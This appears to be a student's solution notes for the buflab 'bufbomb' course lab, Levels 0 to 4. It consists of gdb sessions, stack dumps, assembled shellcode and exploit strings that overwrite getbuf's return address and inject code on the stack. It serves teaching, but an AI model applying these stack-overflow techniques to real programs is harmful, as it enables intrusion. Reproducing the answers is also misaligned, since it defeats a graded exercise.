Level 0

Buffer override, change the return address, call smoke

08048cea <smoke>:

ebp 0x55683d10

```
$gdb bufbomb
(gdb) b getbuf
(gdb) run -u jll809

Userid: jll809
Cookie: 0x1bb7ff90

Breakpoint 1, 0x080490d4 in getbuf ()
(gdb) b *getbuf+17
Breakpoint 2 at 0x80490df
(gdb) disas
Dump of assembler code for function getbuf:
   0x080490ce <+0>:  push   %ebp
   0x080490cf <+1>:  mov    %esp,%ebp
   0x080490d1 <+3>:  sub    $0x38,%esp
=> 0x080490d4 <+6>:  lea    -0x28(%ebp),%eax
   0x080490d7 <+9>:  mov    %eax,(%esp)
   0x080490da <+12>: call   0x8048b4a <Gets>
   0x080490df <+17>: mov    $0x1,%eax
   0x080490e4 <+22>: leave
   0x080490e5 <+23>: ret
End of assembler dump.
(gdb) info registers
eax            0x424873b6 1112044470
ecx            0x424873b6 1112044470
edx            0x6b2048   7020616
ebx            0x0    0
esp            0x55683cd8 0x55683cd8
ebp            0x55683d10 0x55683d10
esi            0x55686018 1432903704
edi            0x2a0  672
eip            0x80490d4  0x80490d4 <getbuf+6>
eflags         0x216  [ PF AF IF ]
cs             0x23   35
ss             0x2b   43
ds             0x2b   43
es             0x2b   43
fs             0x0    0
gs             0x63   99
(gdb)
```

```
(gdb) x/20x $esp
0x55683cd8 <_reserved+1039576>:   0x55683ce8   0x0054db56   0x006b232c
    0x55683ce8
0x55683ce8 <_reserved+1039592>:   0x41414141   0x41414141   0x41414141
    0x41414141
0x55683cf8 <_reserved+1039608>:   0x41414141   0x41414141   0x41414141
    0x41414141
0x55683d08 <_reserved+1039624>:   0x55683d00   0x006b1ff4   0x55683d40
    0x08048d28
0x55683d18 <_reserved+1039640>:   0x55683d40   0x0056a4b0   0x55686018
    0x000002a0

ebp +4 -  esp = 2e = 44

[jll809@ras buflab-handout]$ perl -e 'print "61 "x44, "ea 8c 04 08" '
> solution
[jll809@ras buflab-handout]$ ./hex2raw < solution > raw
[jll809@ras buflab-handout]$ ./bufbomb -u jll809 < raw
Userid: jll809
Cookie: 0x1bb7ff90
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
[jll809@ras buflab-handout]$ ./bufbomb -u jll809 -s < raw
Userid: jll809
Cookie: 0x1bb7ff90
Type string:Smoke!: You called smoke()
VALID
Sent exploit string to server to be validated.
NICE JOB!
```

Level 1

Buffer override, change return address, pass cookie as its argument

```
08048c9f <fizz>:

d[jll809@ras buflab-handout]perl -e 'print "61 "x44, "9f 8c 04 08 ",
"61 "x4, "90 ff b7 1b" ' > solution1
[jll809@ras buflab-handout]$ cat solution1
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 9f 8c
04 08 61 61 61 61 90 ff b7 1b[jll809@ras buflab-handout]$ cat
solution1          ./hex2raw < solution1 > raw1
[jll809@ras buflab-handout]$ gdb bufbomb
GNU gdb (GDB) Red Hat Enterprise Linux (7.2-60.el6_4.1)
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/
```

```
gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show
copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/jll809/tempw/buflab-handout/bufbomb...(no
debugging symbols found)...done.
(gdb) b fizz
Breakpoint 1 at 0x8048ca5
(gdb) r -u jll809 < raw1

Userid: jll809
Cookie: 0x1bb7ff90

Breakpoint 1, 0x08048ca5 in fizz ()
Missing separate debuginfos, use: debuginfo-install
glibc-2.12-1.132.el6_5.2.i686
(gdb) x/ 0x55683d1c
0x55683d1c <_reserved+1039644>:   465043344
(gdb) si
0x08048ca8 in fizz ()
(gdb) i r
eax            0x1bb7ff90 465043344
ecx            0xa   10
edx            0x6b3334   7025460
ebx            0x0   0
esp            0x55683cfc 0x55683cfc
ebp            0x55683d14 0x55683d14
esi            0x55686018 1432903704
edi            0x2a0 672
eip            0x8048ca8  0x8048ca8 <fizz+9>
eflags         0x216 [ PF AF IF ]
cs             0x23  35
ss             0x2b  43
ds             0x2b  43
es             0x2b  43
fs             0x0   0
gs             0x63  99
(gdb) si
0x08048cae in fizz ()
(gdb) i r
eax            0x1bb7ff90 465043344
ecx            0xa   10
edx            0x6b3334   7025460
ebx            0x0   0
esp            0x55683cfc 0x55683cfc
ebp            0x55683d14 0x55683d14
```

```
esi            0x55686018 1432903704
edi            0x2a0 672
eip            0x8048cae  0x8048cae <fizz+15>
eflags         0x246 [ PF ZF IF ]
cs             0x23  35
ss             0x2b  43
ds             0x2b  43
es             0x2b  43
fs             0x0   0
gs             0x63  99
(gdb) continue
Continuing.
Type string:Fizz!: You called fizz(0x1bb7ff90)
VALID
NICE JOB!

Program exited normally.
(gdb) r -u jll809 -s < raw1

Userid: jll809
Cookie: 0x1bb7ff90

Breakpoint 1, 0x08048ca5 in fizz ()
(gdb) q

[jll809@ras buflab-handout]$ ./bufbomb -u jll809 -s < raw1
Userid: jll809
Cookie: 0x1bb7ff90
Type string:Fizz!: You called fizz(0x1bb7ff90)
VALID
Sent exploit string to server to be validated.
NICE JOB!
[jll809@ras buflab-handout]$
```

Level 2
Push instructions address on stack.

```
08048c52 <bang>:
%ebp 55683d10
%ebp+8 55 68 3d 18

[jll809@ras buflab-handout]$ touch level2.s
[jll809@ras buflab-handout]$ vi level2.s
[jll809@ras buflab-handout]$ cat level2.s
movl $0x1bb7ff90, 0x804c1ec
pushl $0x08048c52
ret
[jll809@ras buflab-handout]$ gcc -m32 -c level2.s
[jll809@ras buflab-handout]$ objdump -d level2.o > level2.d
```

```
[jll809@ras buflab-handout]$ cat level2.d

level2.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:    c7 05 ec c1 04 08 90 movl   $0x1bb7ff90,0x804c1ec
   7:    ff b7 1b
   a:    68 52 8c 04 08       push   $0x8048c52
   f:    c3                   ret


c7 05 ec c1 04 08 90 ff b7 1b 68 52 8c 04 08 c3


[jll809@ras buflab-handout]$ perl -e 'print "61 "x44, "18 3d 68 55 ",
"c7 05 ec c1 04 08 90 ff b7 1b 68 52 8c 04 08 c3 " ' > solution2
[jll809@ras buflab-handout]$ ./hex2raw < solution2 > raw2

[jll809@ras buflab-handout]$ gdb bufbomb
(gdb) b getbuf
Breakpoint 1 at 0x80490d4
(gdb) r -u jll809< raw
Userid: jll809
Cookie: 0x1bb7ff90

Breakpoint 1, 0x080490d4 in getbuf ()
Missing separate debuginfos, use: debuginfo-install
glibc-2.12-1.132.el6_5.2.i686
(gdb) si
0x080490d7 in getbuf ()
(gdb) b *getbuf+17
Breakpoint 2 at 0x80490df
(gdb) continue
Continuing.

Breakpoint 2, 0x080490df in getbuf ()
(gdb) x/20wx $esp
0x55683cd8 <_reserved+1039576>:   0x55683ce8   0x0054db56   0x006b232c
    0x55683ce8
0x55683ce8 <_reserved+1039592>:   0x61616161   0x61616161   0x61616161
    0x61616161
0x55683cf8 <_reserved+1039608>:   0x61616161   0x61616161   0x61616161
    0x61616161
0x55683d08 <_reserved+1039624>:   0x61616161   0x61616161   0x61616161
    0x55683d18
0x55683d18 <_reserved+1039640>:   0xc1ec05c7   0xff900804   0x52681bb7
    0xc308048c
```

```
(gdb)
(gdb) continue
Continuing.
Type string:Bang!: You set global_value to 0x1bb7ff90
VALID
NICE JOB!

Program exited normally.

(gdb) q
[jll809@ras buflab-handout]$ ./bufbomb -u jll809 -s < raw2
Userid: jll809
Cookie: 0x1bb7ff90
Type string:Bang!: You set global_value to 0x1bb7ff90
VALID
Sent exploit string to server to be validated.
NICE JOB!
[jll809@ras buflab-handout]$
```

Level 3
Push instructions address on stack & restore stack to make it return to original function

test:
%ebp: 08048d28
getbuf:
%ebp 55683d10
%ebp+8 55 68 3d 18

```
[jll809@ras buflab-handout]$ vi level3.s
[jll809@ras buflab-handout]$ gcc -m32 -c level3.s
[jll809@ras buflab-handout]$ objdump -d level3.o > level3.d
[jll809@ras buflab-handout]$ cat lele3.s
[jll809@ras buflab-handout]$ cat level3.s
movl $0x1bb7ff90, %eax
movl $0x55683d40, %ebp
pushl $0x08048d28
ret
[jll809@ras buflab-handout]$ cat level3.d

level3.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:	b8 90 ff b7 1b       	mov    $0x1bb7ff90,%eax
   5:	bd 40 3d 68 55       	mov    $0x55683d40,%ebp
   a:    68 28 8d 04 08          push   $0x8048d28
   f:    c3                      ret

b8 90 ff b7 1b bd 40 3d 68 55 68 28 8d 04 08 c3

[jll809@ras buflab-handout]$ perl -e 'print "61 "x44, "18 3d 68 55 ",
"b8 90 ff b7 1b bd 40 3d 68 55 68 28 8d 04 08 c3" ' > solution3
[jll809@ras buflab-handout]$ ./hex2raw < solution3 > raw3


[jll809@ras buflab-handout]$ ./bufbomb -u jll809 -s < raw3
Userid: jll809
Cookie: 0x1bb7ff90
Type string:Boom!: getbuf returned 0x1bb7ff90
VALID
Sent exploit string to server to be validated.
NICE JOB!
[jll809@ras buflab-handout]$
```

Level 4

```
[jll809@ras buflab-handout]$ touch solution4
[jll809@ras buflab-handout]$ touch level4.s
[jll809@ras buflab-handout]$ vi level4.s
[jll809@ras buflab-handout]$ gcc -m32 -c level4.s
[jll809@ras buflab-handout]$ objdump -d level4.o > level4.d
[jll809@ras buflab-handout]$ cat level4.s
lea 0x28 (%esp), %ebp
movl  $0x1bb7ff90 , %eax
pushl $0x08048bfa
ret
[jll809@ras buflab-handout]$ cat level4.d

level4.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:    8d 6c 24 28             lea    0x28(%esp),%ebp
   4:    b8 90 ff b7 1b          mov    $0x1bb7ff90,%eax
   9:    68 fa 8b 04 08          push   $0x8048bfa
   e:    c3                      ret

8d 6c 24 28 b8 90 ff b7 1b 68 fa 8b 04 08 c3
```